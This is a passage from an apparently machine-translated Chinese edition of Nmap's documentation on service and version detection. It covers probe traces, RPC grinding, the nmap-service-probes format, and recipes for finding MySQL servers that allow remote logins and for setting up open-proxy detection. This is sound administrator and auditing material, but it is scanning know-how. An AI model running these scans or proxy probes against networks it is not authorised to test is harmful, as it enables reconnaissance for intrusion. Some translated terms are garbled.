80端口,没有匹配,之后匹配80的探针进行探测,如果还是没有响应就进行回退的tcp
NSOCK (7.0880s) Callback: READ TIMEOUT for EID 42 [205.217.153.53:80] NSOCK (7.0880s) Write request for 18 bytes to IOD #4 EID 115 [205.217.153.53:80]: GET / HTTP/1.0.... NSOCK (7.0880s) Read request from IOD #4 [205.217.153.53:80] (timeout: 5000ms) EID 122
端口 80 NULL 探针也未能返回任何数据。发送 HTTP GET 请求,因为该探测已注册到端口 80。
NSOCK (7.0920s) Callback: READ SUCCESS for EID 122 [205.217.153.53:80] [EOF](15858 bytes) Service scan match: insecure.org (205.217.153.53):80 is http. Version: |Apache httpd|2.0.39|(Unix) mod_perl/1.99_07-dev..
Apache返回了一个巨大的(15KB)响应,所以它没有被打印出来。那个响应提供了详细的配置信息,Nmap从响应中挑出了这些信息。没有为80端口注册的其他探测。所以如果这个探针失败了,Nmap会尝试回退nmap-Service-probes中的第一个TCP探针。探针只是发送空行("\r\n\r\n")。如果GET探针混淆了服务,就会建立一个新的连接。
NSOCK (7.0920s) Callback: READ SUCCESS for EID 106 [205.217.153.53:53] (50 bytes): .0.........version.bind.......9.2.1 Service scan match: insecure.org (205.217.153.53):53 is domain. Version: |ISC BIND|9.2.1||
端口 53 响应了我们的 DNS 版本请求。大多数响应(与探针一样)是二进制的,但您可以在那里清楚地看到版本 9.2.1。如果此探针失败,则注册到端口 53 的下一个探测是 DNS 服务器状态请求(14 字节:) \0\x0C\0\0\x10\0\0\0\0\0\0\0\0\0
。拥有这个备份探针很有帮助,因为响应状态请求的服务器比响应版本号请求的服务器多得多。
NSOCK (7.0920s) Callback: READ SUCCESS for EID 90 [205.217.153.53:25] (55 bytes): 214 qmail home page: http... Service scan match: insecure.org (205.217.153.53):25 is smtp. Version: |qmail smtpd|||
端口25对 "帮助 "探针给出了非常有用的回应。其他SMTP服务器如Postfix, Courier, 和Exim通常也可以被这个探针识别。如果响应不匹配,Nmap就会放弃这个服务,因为它已经软匹配了smtp,而且在nmap-service-probes中没有更多的SMTP探测。
The service scan took 5 seconds to scan 4 services on 1 host.
这次服务扫描运行得相当顺利。没有服务需要一个以上的连接。花了五秒钟,因为Qmail和Apache在Nmap发送第一个真正的探针之前就达到了五秒钟的NULL探针超时。下面是这些努力的回报。
Interesting ports on insecure.org (205.217.153.53): (The 1212 ports scanned but not shown below are in state: closed) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.1p1 (protocol 1.99) 25/tcp open smtp qmail smtpd 53/tcp open domain ISC BIND 9.2.1 80/tcp open http Apache httpd 2.0.39 ((Unix) mod_perl/1.99_07-dev) Nmap finished: 1 IP address (1 host up) scanned in 7.104 seconds
后处理器
Nmap 通常在推断出如上所示的服务和版本信息后就完成了对端口的工作。但是,Nmap 会为某些服务执行额外的工作。目前可用的后处理器是 Nmap 脚本引擎集成、RPC 研磨和 SSL 隧道。Windows SMB审问正在考虑中。
Nmap 脚本引擎集成
基于正则表达式的版本检测方法很强大,但它不能识别所有东西。有些服务不能通过简单地发送一个标准探针并将模式与响应匹配来识别。有些服务需要自定义探针字符串或复杂的多步握手过程。其他服务需要比正则表达式更高级的处理来识别响应。例如,Skype v2服务被设计成难以检测,因为现有的运营商(如提供DSL线路的电话公司)会认为他们是竞争对手,并降低或阻止其用户使用该服务。我们能找到的检测这种服务的唯一方法是分析对两个不同探针的响应。同样地,如果我们通过玻璃破解几百个不同的conmunity名称,我们可以识别更多的SNMP服务。这两个任务都不太适合传统的Nmap版本检测,但是这两个任务都是用第9章,Nmap脚本引擎完成的。由于这些原因,版本检测现在默认调用NSE来处理一些棘手的服务,如 "使用NSE的版本检测 "一节所述。
RPC 研磨
SunRPC(Sun Remote Procedure Call)是一种通用的 Unix 协议,用于实现包括 NFS 在内的许多服务。Nmap有一个包含近600个RPC程序的nmap-rpc数据库。许多 RPC 服务使用高编号端口和/或 UDP 传输协议,使它们可以通过许多配置不佳的防火墙使用。RPC 程序(以及基础设施库本身)也有严重的可远程利用安全漏洞的悠久历史。因此网络管理员和安全审计员经常希望了解更多关于他们网络上的任何 RPC 程序的信息。
如果portmapper(rpcbind)服务(UDP或TCP端口111)可用,可以用Unix rpcinfo命令列举RPC服务。例7.5针对一个默认的Solaris 9服务器演示了这一点。
> rpcinfo -p ultra
program vers proto port
100000 4 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100232 10 udp 32777 sadmind
100083 1 tcp 32775 ttdbserverd
100221 1 tcp 32777 kcms_server
100068 5 udp 32778 cmsd
100229 1 tcp 32779 metad
100230 1 tcp 32781 metamhd
100242 1 tcp 32783 rpc.metamedd
100001 4 udp 32780 rstatd
100002 3 udp 32782 rusersd
100002 3 tcp 32785 rusersd
100008 1 udp 32784 walld
100012 1 udp 32786 sprayd
100011 1 udp 32788 rquotad
100024 1 udp 32790 status
100024 1 tcp 32787 status
100133 1 udp 32790 nsm_addrand
100133 1 tcp 32787 nsm_addrand
[ Dozens of lines cut for brevity ]
这个例子表明主机经常提供许多 RPC 服务,这增加了一个被利用的可能性。您还应该注意到,大多数服务都位于奇怪的高编号端口(可能由于多种原因而发生变化),并且在 UDP 和 TCP 传输协议之间进行拆分。
由于 RPC 信息非常敏感,许多管理员试图通过阻止 portmapper 端口来隐藏此信息 (111)。不幸的是,这并没有关闭漏洞。Nmap 可以通过以下三步过程直接与开放的 RPC 端口通信来确定所有同样的信息。
-
TCP 和/或 UDP 端口扫描会查找所有打开的端口。
-
版本检测确定哪些打开的端口使用 SunRPC 协议。
-
RPC玻璃破解引擎通过对nmap-rpc中的600个程序号尝试一个空命令来确定每个RPC端口的程序身份。大多数时候 Nmap 猜测错误并收到一条错误消息,说明请求的程序号没有在端口上侦听。Nmap继续尝试其列表中的每个号码,直到其中一个号码成功返回。在不太可能的情况下,Nmap会放弃,因为它用尽了所有已知的程序号,或者如果端口发送格式错误的响应,表明它不是真正的 RPC。
RPC程序识别探针是平行进行的,并对UDP端口进行重传处理。只要版本检测发现任何RPC端口,这个功能就会自动激活。例7.6演示了作为版本检测的一部分所做的直接RPC扫描。
# nmap -F -A -sSU ultra
Starting Nmap ( http://nmap.org )
Nmap scan report for ultra.nmap.org (192.168.0.50)
(The 2171 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
[A whole bunch of ports cut for brevity]
32776/tcp open kcms_server 1 (rpc #100221)
32776/udp open sadmind 10 (rpc #100232)
32777/tcp open kcms_server 1 (rpc #100221)
32777/udp open sadmind 10 (rpc #100232)
32778/tcp open metad 1 (rpc #100229)
32778/udp open cmsd 2-5 (rpc #100068)
32779/tcp open metad 1 (rpc #100229)
32779/udp open rstatd 2-4 (rpc #100001)
32780/tcp open metamhd 1 (rpc #100230)
32780/udp open rstatd 2-4 (rpc #100001)
32786/tcp open status 1 (rpc #100024)
32786/udp open sprayd 1 (rpc #100012)
32787/tcp open status 1 (rpc #100024)
32787/udp open rquotad 1 (rpc #100011)
Device type: general purpose
Running: Sun Solaris 9
OS details: Sun Solaris 9
Nmap finished: 1 IP address (1 host up) scanned in 252.701 seconds
SSL 后处理器说明
如技术一节所述,Nmap 能够检测 SSL 加密协议,然后启动加密会话,通过该会话执行正常版本检测。与前面讨论的 RPC 研磨器一样,只要检测到适当的 (SSL) 端口,就会自动执行 SSL 后处理器。示例 7.7证明了这一点。
$ nmap -Pn -sSV -T4 -F www.amazon.com
Starting Nmap ( http://nmap.org )
Nmap scan report for 207-171-184-16.amazon.com (207.171.184.16)
(The 1214 ports scanned but not shown below are in state: filtered)
PORT STATE SERVICE VERSION
80/tcp open http Apache Stronghold httpd 2.4.2 (based on Apache 1.3.6)
443/tcp open ssl/http Apache Stronghold httpd 2.4.2 (based on Apache 1.3.6)
Nmap finished: 1 IP address (1 host up) scanned in 35.038 seconds
注意,两个开放端口的版本信息都是一样的,但是服务在80端口是http,443端口是ssl/http。443端口上的HTTPS的常见情况不是硬编码的-Nmap应该能够检测任何端口上的SSL并确定Nmap能够以明文检测到的任何服务的底层协议。如果Nmap没有检测到在SSL后面监听的服务器,列出的服务将是ssl/unknown。如果Nmap没有建立SSL支持,列出的服务就会是ssl。在这两种情况下,版本字段都是空白。
Nmap 的 SSL 支持依赖于自由的OpenSSL 库. 它不包含在 Linux RPM 二进制文件中,以避免破坏缺少这些库的系统。Nmap 源代码分发尝试检测系统上的 OpenSSL 并在可用时链接到它。有关自定义构建过程以包含或排除 OpenSSL 的详细信息,请参阅第 2 章,获取、编译、安装和删除 Nmap。
nmap-service-probes
文件格式
与远程操作系统检测 ( -O
) 一样,Nmap 使用扁平化文件来存储版本检测探针和匹配字符串。虽然Nmap分发的nmap-services版本对大多数用户来说是足够的,但理解这个文件格式可以让高级Nmap黑客把他们自己的服务添加到探测引擎中。像许多Unix文件一样,nmap-service-probes是面向行的。以哈希(#)开头的行被当作注释,被解析器忽略。空白行也会被忽略。其他行必须包含下面描述的指令之一。有些读者喜欢在处理下面的剖析之前,先看看 "把它们放在一起"一节中的例子。
Exclude
指令
语法:Exclude
<port specification>
例子:Exclude 53,T:9100,U:30000-40000
该指令从版本扫描中排除指定的端口。它只能使用一次,并且应该位于文件顶部附近,在任何 Probe 指令之上。Exclude 指令使用与 Nmap -p选项相同的格式,因此支持范围和逗号分隔的端口列表。在Nmap包含的nmap-service-probes中,唯一排除的端口是TCP端口9100到9107。这些是打印机常用的监听端口,他们经常打印发送给他们的任何数据。所以,版本检测扫描可以使它们打印很多页的Nmap发送的探针,如SunRPC请求、帮助声明和X11探针。
这种行为通常是不可取的,特别是当扫描是为了隐蔽的时候。然而,Nmap避免扫描这个端口的默认行为可以使狡猾的用户更容易有意隐藏某个服务:只要在排除的端口上运行,比如9100,它就不太可能被识别出来。端口扫描仍然会显示它是开放的。用户可以用 --allports 选项来覆盖排除指令。这将导致版本检测询问所有开放的端口。
Probe
指令
语法:Probe
<protocol>
<probename>
<probestring>
例子:
Probe TCP GetRequest q|GET / HTTP/1.0\r\n\r\n| #GetRequest探针在tcp上发送GET / HTTP/1.0\r\n\r\n
Probe UDP DNSStatusRequest q|\0\0\x10\0\0\0\0\0\0\0\0\0| #DNSStatusRequest探针在udp上发送十六进制表示的二进制\0\0\x10\0\0\0\0\0\0\0\0\0
Probe TCP NULL q|| #NULL 探针在tcp上什么也不发送
Probe指令告诉Nmap要发送什么字符串来识别各种服务。后面讨论的所有指令都对最近的Probe语句进行操作。参数如下。
<protocol>
-
这必须是
TCP
或UDP
。Nmap 仅使用与其尝试扫描的服务的协议相匹配的探针。 <probename>
-
这是探针的简单英文名称。它在服务指纹中用于描述哪些探测引发了响应。
<probestring>
-
告诉Nmap要发送什么。它必须以q开头,然后是一个开始和结束字符串的分隔符。分隔符之间是实际发送的字符串。它的格式类似于C或Perl字符串,因为它允许下列标准转义字符:
\\
\0
,\a
,\b
,\f
,\n
,\r
,\t
,\v
, 和\xHH
(其中H是任何十六进制数字)。nmap-service-probes中的一个Probe行有一个空的探针字符串,如上面第三个例子所示。这是TCP NULL探针,它只是监听许多服务发送的初始banner标语。如果你的探针字符串需要分隔符(在这些例子中是|),你需要选择一个不同的分隔符。
语法:match
<service>
<pattern>
[<versioninfo>
]
例子:
match ftp m/^220.*Welcome to .*Pure-?FTPd (\d\S+\s*)/ p/Pure-FTPd/ v/$1/ cpe:/a:pureftpd:pure-ftpd:$1/ match ssh m/^SSH-([\d.]+)-OpenSSH[_-]([\w.]+)\r?\n/i p/OpenSSH/ v/$2/ i/protocol $1/ cpe:/a:openbsd:openssh:$2/ match mysql m|^\x10\0\0\x01\xff\x13\x04Bad handshake$| p/MySQL/ cpe:/a:mysql:mysql/ match chargen m|@ABCDEFGHIJKLMNOPQRSTUVWXYZ| match uucp m|^login: login: login: $| p/NetBSD uucpd/ o/NetBSD/ cpe:/o:netbsd:netbsd/a match printer m|^([\w-_.]+): lpd: Illegal service request\n$| p/lpd/ h/$1/ match afs m|^[\d\D]{28}\s*(OpenAFS)([\d\.]{3}[^\s\0]*)\0| p/$1/ v/$2/
匹配指令告诉Nmap如何根据对前面Probe指令发送的字符串的响应来识别服务。一个Probe行后面可能有几十个或几百个匹配语句。如果给定的模式匹配,一个可选的版本指定器建立应用程序名称、版本号和附加信息供Nmap报告。这个指令的参数如下。
<service>
-
这只是模式匹配的服务名称。例如:ssh、smtp、http或snmp。作为一种特殊情况,你可以在服务名称前加上ssl/,如ssl/vmware-auth。在这种情况下,该服务将被存储为通过SSL隧道的vmware-auth。这对那些无需进行SSL连接的开销就能完全识别的服务很有用。
<pattern>
-
这个模式用于确定收到的响应是否与前面参数中给出的服务相匹配。其格式和Perl一样,语法是m/[regex]/[opts]。m "告诉Nmap,一个匹配字符串开始了。正斜杠(/)是一个分隔符,只要第二个斜杠也被替换成匹配的,它几乎可以被任何可打印的字符替换。regex是一个Perl风格的正则表达式。这是由优秀的Perl兼容正则表达式(PCRE)库(http://www.pcre.org)实现的。目前只支持'i'和's'两个选项,前者使匹配不区分大小写,后者在'.'说明符中包括换行。正如你所期望的那样,这两个选项的语义与Perl中的相同。要捕获的子表达式(如版本号)用圆括号包围,如上面的大多数例子所示。
<versioninfo>
-
首选的分隔符是斜线('/'),除非在字段本身使用。接下来是字段的值,接着是分隔符。下表描述了这六个字段。
表 7.1。versioninfo
字段格式和值字段格式 值说明 p/vendorproductname/
包括供应商和服务名称,格式为“ Sun Solaris rexecd ”、“ ISC BIND named ”或 “ Apache httpd ”。 v/version/
应用程序版本“数字”,可能包含非数字字符,甚至多个单词。 i/info/
其他可立即获得且可能有用的进一步信息。示例包括 X 服务器是否对未经身份验证的连接开放,或者 SSH 服务器的协议号。 h/hostname/
服务提供的主机名(如果有)。这对于 SMTP 和 POP3 等协议很常见,并且很有用,因为这些主机名可能用于内部网络,或者与直接的反向 DNS 响应不同。 o/operatingsystem/
运行服务的操作系统。这可能与基于 Nmap IP 堆栈的操作系统检测报告的操作系统不同。例如,目标 IP 可能是一个 Linux 机器,它使用网络地址转换将请求转发到 DMZ 中的 Microsoft IIS 服务器。在这种情况下,堆栈操作系统检测应将操作系统报告为 Linux,而服务检测将端口 80 报告为 Windows。 d/devicetype/
运行服务的设备类型,如“打印服务器”或“网络摄像头”之类的字符串 。一些服务会披露这些信息,并且可以在更多情况下推断出来。例如,HP-ChaiServer Web 服务器只能在打印机上运行。有关设备类型的完整列表,请参阅“设备类型”部分。 cpe:/cpename/[a]
服务某些方面的 CPE 名称。这可以多次使用;可以想象,不仅能够识别服务( cpe:/a
名称),还能够识别操作系统(cpe:/o
名称)和硬件平台(cpe:/h
名称)。尾部斜杠不是 CPE 语法的一部分,但包含在内以匹配其他字段的格式。有关 CPE的更多信息,请参阅名为“通用平台枚举 (CPE)”的部分。
任何一个字段都可以省略。事实上,如果没有关于服务的进一步信息,所有的字段都可以被省略。任何一个版本字段都可以包括编号的字符串,例如 $1 或 $2,它们会被替换成<pattern>中相应的括号内的子字符串(类似于Perl的方式)。在cpe://模板中,这样的替换被转换如下:某些字符(如冒号)被转义;空格被转换为下划线,所有字符都变成小写。
在极少数情况下,可以在插入前对替换的文本应用一个辅助函数。下表描述了三种可用的辅助函数。
语法:softmatch
<service>
<pattern>
例子:
softmatch ftp m/^220 [-.\w ]+ftp.*\r\n$/i softmatch smtp m|^220 [-.\w ]+SMTP.*\r\n| softmatch pop3 m|^\+OK [-\[\]\(\)!,/+:<>@.\w ]+\r\n$|
软匹配指令的格式与上面讨论的匹配指令相似。主要的区别是,在软匹配之后,扫描继续进行,但仅限于已知匹配给定服务的探针。这允许以后发现正常("硬")匹配,这可能提供有用的版本信息。参见 "描述的技术 "一节,以了解有关工作原理的更多细节。这里没有定义参数,因为它们与上面的match相同,只是从来没有一个<versioninfo>参数。和match一样,在一个Probe部分中可以存在许多softmatch语句。
ports
和sslports
指令
语法:ports
<portlist>
例子:
ports 21,43,110,113,199,505,540,1248,5432,30444 ports 111,4045,32750-32810,38978
这一行告诉Nmap这个探测器所识别的服务通常在什么端口上。它在每个探针节区内部只能使用一次。语法是Nmap -p选项的一个稍微简化的版本。见上面的例子。关于它如何工作的更多细节在 "技术描述 "一节中。
语法:sslports
<portlist>
例子:
sslports 443
这与上面描述的'ports'指令相同,只是这些端口通常用于将一个服务包裹在SSL中。例如,HTTP探针声明 "sslports 443",SMTP检测探针有一个 "sslports 465 "行,因为这分别是HTTPS和SMTPS的标准端口。<portlist>的格式与端口的格式相同。这个可选指令在每个探针中出现不能超过一次。
totalwaitms指令
语法:totalwaitms
<milliseconds>
例子:
totalwaitms 6000
这个很少需要的指令,指定Nmap在放弃最近定义的针对特定服务的探针之前应该等待的时间。Nmap的默认值通常很好。
tcpwrappedms
指令
语法:tcpwrappedms
<milliseconds>
例子:
tcpwrappedms 3000
该指令仅用于 Null 探针。如果服务在此计时器用完之前关闭了 TCP 连接,则该服务被标记为 tcpwrapped
。否则,匹配照常继续。
rarity
指令
语法:rarity
<value between 1 and 9>
例子:
rarity 6
稀有性指令大致对应于该探针可望返回有用结果的频率。数字越大,探针就被认为越稀有,就越不可能对服务进行测试。更多细节可以在 "探针选择和稀有性 "一节中找到。
fallback
指令
语法:fallback
<以逗号分隔的探针列表>
例子:
fallback GetRequest,GenericLines
这个指令是可选的,它指定了在当前探针节区没有匹配的情况下,哪些探针应该被用作回退。关于回退的更多信息请看 "作弊和回退 "一节。对于没有回退指令的TCP探针,Nmap首先尝试探针本身的匹配行,然后隐含地回退到NULL探针(译者注:所谓的作弊就是提前发送更进一步的探针,所谓的回退是没有任何匹配时不得已发送的探针,所谓的匹配行是一个探针节区内所有的匹配指令的集合,所谓的探针节区就是nmap-service-probes文件定义的一个探针的所有命令集合)。如果有回退指令,Nmap首先尝试探针本身的匹配行,然后是回退指令中指定的探针的匹配行(从左到右)。最后,Nmap将尝试NULL探针。对于UDP,行为是相同的,除了NULL探针不被尝试。
把它们放在一起
以下是一些nmap-service-probes
将所有内容放在一起的示例(为了节省空间,已跳过许多行)。读完这部分内容后,应该理解以下内容。
# The Exclude directive takes a comma separated list of ports. # The format is exactly the same as the -p switch. Exclude T:9100-9107 # This is the NULL probe that just compares any banners given to us ##############################NEXT PROBE############################## Probe TCP NULL q|| # Wait for at least 5 seconds for data. Otherwise an Nmap default is used. totalwaitms 5000 # Windows 2003 match ftp m/^220[ -]Microsoft FTP Service\r\n/ p/Microsoft ftpd/ match ftp m/^220 ProFTPD (\d\S+) Server/ p/ProFTPD/ v/$1/ softmatch ftp m/^220 [-.\w ]+ftp.*\r\n$/i match ident m|^flock\(\) on closed filehandle .*midentd| p/midentd/ i/broken/ match imap m|^\* OK Welcome to Binc IMAP v(\d[-.\w]+)| p/Binc IMAPd/ v$1/ softmatch imap m/^\* OK [-.\w ]+imap[-.\w ]+\r\n$/i match lucent-fwadm m|^0001;2$| p/Lucent Secure Management Server/ match meetingmaker m/^\xc1,$/ p/Meeting Maker calendaring/ # lopster 1.2.0.1 on Linux 1.1 match napster m|^1$| p/Lopster Napster P2P client/ Probe UDP Help q|help\r\n\r\n| rarity 3 ports 7,13,37 match chargen m|@ABCDEFGHIJKLMNOPQRSTUVWXYZ| match echo m|^help\r\n\r\n$|
社区贡献
无论一个服务检测框架在技术上多么先进,如果没有一个全面的服务数据库来匹配,它几乎是无用的。这就是Nmap的开放源码性质真正闪光点。Insecure.Org 实验室数据库是相当庞大的,但它永远不可能超过互联网的运行机器类型和服务的一小部分。幸运的是,操作系统检测指纹的经验表明,Nmap用户一起运行所有常见的东西,以及一系列惊人的奇异设备。Nmap操作系统指纹数据库包含一千多个条目,包括各种交换机、WAP、VoIP电话、游戏机、Unix机器、Windows主机、打印机、路由器、PDA、防火墙,等等。版本检测也支持用户提交。Nmap用户已经贡献了成千上万的服务。Nmap 社区通过三种主要方式帮助使其成为卓越的数据库:提交服务指纹、数据库更正和新探测。
提交服务指纹
如果服务响应了 Nmap 的一个或多个探测,但 Nmap 无法识别该服务,则 Nmap 打印服务指纹像这个:
SF-Port21-TCP:
V=3.40PVT16
%D=9/6
%Time=3F5A961C
%r(NULL,3F,"220\x20stage\x20FTP\x20server\x20\(Version\x202\.1WU\(1\)\+SCO-2\.6\.1\+-sec\)\x20ready\.\r\n")
%r(GenericLines,81,"220\x20stage\x20FTP\x20server\x20\(Version\x202\.1WU\(1\)\+SCO-2\.6\.1\+-sec\)\x20ready\.\r\n500\x20'':\x20command\x20not\x20understood\.\r\n500\x20'':\x20command\x20not\x20understood\.\r\n");
如果您收到这样的指纹,并且确定您知道目标主机上运行的守护程序版本,请在Nmap给您的URL上提交指纹。整个提交过程是匿名的(除非您选择提供识别信息),应该不会超过几分钟。如果您觉得特别有用,用-d再次扫描系统(Nmap有时用这种方式给出更长的指纹),并把两个指纹贴到提交表格的指纹框里。有时人们阅读文件格式部分并提交他们自己的工作的匹配行。这是可以的,但是请同时提交服务指纹,因为现有的脚本使整合和测试它们相对容易。
对于那些关心的人,上面指纹中的信息是端口号(21),协议(TCP),Nmap版本(3.40PVT16),日期(9月6日),十六进制的Unix时间,以及表格中的一系列探针响应r({ <probename>
}, { <responselength>
}, "{ <responsestring>
}")。
提交数据库更正
这是帮助改进数据库的另一种简单方法。在集成所提交的“ chargen on Windows XP ”或“ FooBar FTP server 3.9.213 ”服务指纹时,很难确定匹配的通用性如何。它是否也会与Solaris上的chargen或FooBar FTP 2.7匹配?由于没有很好的判断方法,所以使用了一个非常具体的名称,希望人们在匹配需要通用化的时候会报告它。Nmap DB 如此全面的唯一原因是成千上万的用户每个人都花了几分钟时间来提交新信息。如果您扫描了一个主机,而服务指纹给出了一个不正确的操作系统、版本号、应用程序名称、甚至服务类型,请按照下面的描述让我们知道。
- 升级到最新的 Nmap(可选)
-
许多 Linux 发行版和其他操作系统都带有古老版本的 Nmap。Nmap 版本检测数据库几乎在每个版本中都得到了改进,因此通过运行nmap -V检查您的版本号,然后将其与http://nmap.org/download.html提供的最新版本进行比较。您看到的问题可能已经得到纠正。在大多数平台上安装最新版本只需几分钟,无论您报告的版本检测缺陷是否仍然存在,它都很有价值。但即使您现在没有时间升级,来自旧版本的提交仍然很有价值。
- 绝对确定你知道什么在运行
-
无效的“更正”会损坏版本检测数据库。如果您不确定远程计算机上正在运行的确切内容,请在提交之前查明。
- 生成指纹
-
运行 nmap -O -Pn -sSV -T4 -d -version-trace -p<port> <target>,其中<port>是在<target>主机上运行被错误识别的服务的端口。如果该服务是UDP而不是TCP,用-sUV代替-sSV。
- 将您的更正发送给我们
-
现在只需通过http://insecure.org/cgi-bin/submit.cgi?corr-service将您的更正提交给我们。感谢您为 Nmap 社区做出贡献并帮助改进版本检测!
提交新的探针
假设 Nmap 无法检测到服务。如果它收到对任何探针的响应,它应该提供可以如上所述提交的指纹。但是,如果没有响应,因此指纹不可用怎么办?创建并提交您自己的探测!这些非常受欢迎。以下步骤描述了该过程。
-
从http://nmap.org 下载最新版本的Nmap并再试一次。您会觉得花时间开发一个新探针,却发现它已经被添加了,不是很傻吗。确保没有指纹,因为如果可能的话,用现有的探针识别服务比创建太多的新探针要好。如果服务对任何现有的探针都没有反应,那就没有其他选择了。
-
决定一个好的探针字符串来识别服务。理想的探针应该从尽可能多的服务实例中获得响应,并且理想情况下响应应该足够独特以区分它们。如果你非常了解该协议,这一步就最容易了,所以考虑阅读相关的RFC和产品文档。一个简单的方法是简单地启动一个给定服务的客户端,通过用Wireshark或tcpdump嗅探网络,或连接到一个监听的Ncat,观察初始握手的情况。
- 一旦您决定了适当的字符串,就向Nmap添加适当的新探测行(见 "技术描述 "和 "nmap-service-probes文件格式 "一节)。首先不要输入任何匹配行,尽管一个端口指令先做一个新测试,针对注册的端口是ok的。然后用Nmap扫描该服务几次。您应该得到一个显示该服务对您的新探针的响应的指纹。把新的探针行和指纹(如果可能的话,针对不同的机器,但即使是针对同一个守护程序,也有助于发现差异)发送到Nmap开发列表<dev@nmap.org>。它可能会被集成到Nmap的未来版本中。您能提供的关于您的探针字符串性质的任何细节也是有帮助的。对于只在您的网络上出现的定制服务,最好是把它们添加到您自己的nmap-service-probes而不是全局Nmap。
解决方案:查找所有运行不安全或非标准应用程序版本的服务器
问题
一项常见的任务是扫描一系列 IP 地址以查找特定版本甚至满足特定属性的所有服务器。这正是Nmap的版本检测所擅长的。
最受欢迎的数据库应用之一是开源的MySQL服务器。可以对MySQL进行配置,禁止所有来自不受信任的IP的远程登录。在不需要远程登录的情况下,这是一个很好的安全做法。一个例子是:2005年,一个MySQL远程代码执行漏洞被发现并公布。幸运的是,攻击者必须首先能够登录--毫无疑问,这使互联网免于又一次破坏性的蠕虫病毒。鉴于这样的问题,以及SQL登录和密码经常可以通过SQL注入攻击、直觉和网络内部知识来猜测或发现的事实,在可能的情况下应该拒绝远程登录。
网络管理员的问题是要发现那些不必要地允许来自不受信任的IP的登录的MySQL服务器,并采取适当的防御措施。
解决
Nmap 的版本检测在这种情况下会派上用场,因为当服务器禁止我们的主机进行任何访问时,它会在服务检测信息行中添加未经授权的单词。如果我们想扫描 10.0.0.0/24 的网络,一个简单而有效的策略是从不受信任的来源运行以下命令:
nmap -sV -p 3306 -oG 10.0.0-mysqls-032506.gnmap 10.0.0.0/24
接下来,我们可以使用 Unix grep 实用程序来查找接受来自我们 IP 的连接并且默认情况下不禁止登录的 IP(grep的-v
开关指定相反的结果,只打印出与给定模式不匹配的行):
grep 'Ports: 3306/open/tcp//mysql' 10.0.0-mysqls-032506.gnmap | grep -v unauthorized
结果输出显示了允许远程登录的MySQL 服务器:
Host: 10.0.0.33 (foo.com) Ports: 3306/open/tcp//mysql//MySQL 4.1.11/ Host: 10.0.0.72 (bar.com) Ports: 3306/open/tcp//mysql//MySQL 4.0.24-standard/ Host: 10.0.0.99 () Ports: 3306/open/tcp//mysql//MySQL 4.1.11-Debian_4sarge2/ Host: 10.0.0.154 () Ports: 3306/open/tcp//mysql//MySQL 4.0.25-standard/ Host: 10.0.0.155 () Ports: 3306/open/tcp//mysql//MySQL 4.0.25-standard/
讨论
这方面的诀窍是理解一些MySQL协议的基础知识,并知道如何读取nmap-service-probes文件。在该文件中查找Probe和mysql的匹配行,可以得到以下(包行的)输出。
$ cat /usr/local/share/nmap/nmap-service-probes | egrep '^(Probe|match mysql)'
Probe TCP NULL q||
match mysql m/^.\0\0\0\xffj\x04.*Host .* is not allowed to connect to this
MySQL server$/ p/MySQL/ i/unauthorized/
match mysql m|^.\0\0\0\xffj\x04Host hat keine Berechtigung, eine Verbindung
zu diesem MySQL Server herzustellen\.| p/MySQL/
i/unauthorized; German/
match mysql m/^.\0\0\0...Al sistema '[-.\w]+' non e` consentita la
connessione a questo server MySQL$/ p/MySQL/
i/unauthorized; Italian/
match mysql m|^.\0\0\0\xffi?\x04?Host .* is blocked because of many connection
errors\.| p/MySQL/ i/blocked - too many connection errors/
match mysql m/^.\0\0\0.(3\.[-.\w]+)\0.*\x08\x02\0\0\0\0\0\0\0\0\0\0\0\0\0\0$/s
p/MySQL/ v/$1/
match mysql m/^.\0\0\0\n(3\.[-.\w]+)\0...\0/s p/MySQL/ v/$1/
match mysql m/^.\0\0\0\n(4\.[-.\w]+)\0.../s p/MySQL/ v/$1/
match mysql m|^.\0\0\0\n(5\.[-.\w]+)\0...\0|s p/MySQL/ v/$1/
match mysql m|^.\0\0\0\xffj\x04'[\d.]+' .* MySQL|s p/MySQL/
Probe TCP GenericLines q|\r\n\r\n|
Probe TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|
Probe TCP HTTPOptions q|OPTIONS / HTTP/1.0\r\n\r\n|
...
...
我们看到mysql
匹配行被设计为由 NULL 探针触发,因此不需要自定义探针来确定哪些服务器允许远程登录(有关此内容,请参阅“解决方案:黑版本检测以适应自定义需求,例如 Open Proxy检测”)。通过查看这些mysql匹配行,我们发现不允许远程登录的MySQL服务将导致一个包含 unauthorized未授权 单词的信息字段。
除了服务类型和版本号之外,在许多情况下,版本检测能够收集有关扫描目标的有用信息。探针文件充满了这样的宝石,可以将耗时的协议研究、脚本编码、定位测试服务器和调试任务变成一个简单的 Nmap 命令。版本检测有时可以揭示的一些有趣的信息是:
-
SSH 协议版本
-
是否正确配置了 CVS pserver
-
流行的点对点文件共享客户端使用的用户名
-
X 服务器是否接受连接
-
许多服务的语言和其他本地化参数
-
目标CPU的字长
-
Eggdrop 等流行 IRC 机器人的已配置机器人名称
-
是否允许在 Internet 新闻 (NNTP) 服务器上发布
由于令人惊叹的 Nmap 用户社区及其服务指纹提交,版本检测数据库不断增长和完善。这个解决方案是一个很好的例子,说明如何研究 Nmap 的服务检测功能可以为许多不同的问题提供优雅的、有时不明显的解决方案。
解决方案:黑版本检测以适应自定义需求,例如 Open Proxy检测
问题
确保任何网络安全的一个重要部分是识别危险的主机。Nmap的服务检测系统是一个灵活、可靠的方式来做到这一点。它可以帮助识别软件的漏洞版本,找到配置错误的服务器,等等。但是有时实际上尝试用原始版本扫描不敢使用的方式来滥用服务,这是确定服务是否真的有漏洞的最好方法。
开放代理服务器会盲目地将来自不受信任主机的请求中继到他们选择的服务器。由于许多原因,在网络中运行这些程序可能非常危险,因为攻击者可以:
-
发起看似来自您的网络的攻击
-
从您那里窃取带宽或其他网络服务
-
假装是内部客户,以进一步提升他们在组织内部的权限
这为黑版本检测提供了很好的动机,以专门尝试利用开放代理。我们或许可以通过使用 Nmap 的正常代理匹配行来确定哪些端口是代理,但是证明应用程序有漏洞的最佳且唯一真实的方法是自己实际利用它。
解决
我们要做的第一件事是复制nmap-service-probes
文件,以便我们可以处理临时副本:
mkdir ~/proxydetect
cp /usr/local/share/nmap/nmap-service-probes ~/proxydetect
接下来我们要暂时强迫Nmap使用我们的临时文件。
export NMAPDIR=$HOME/proxydetect
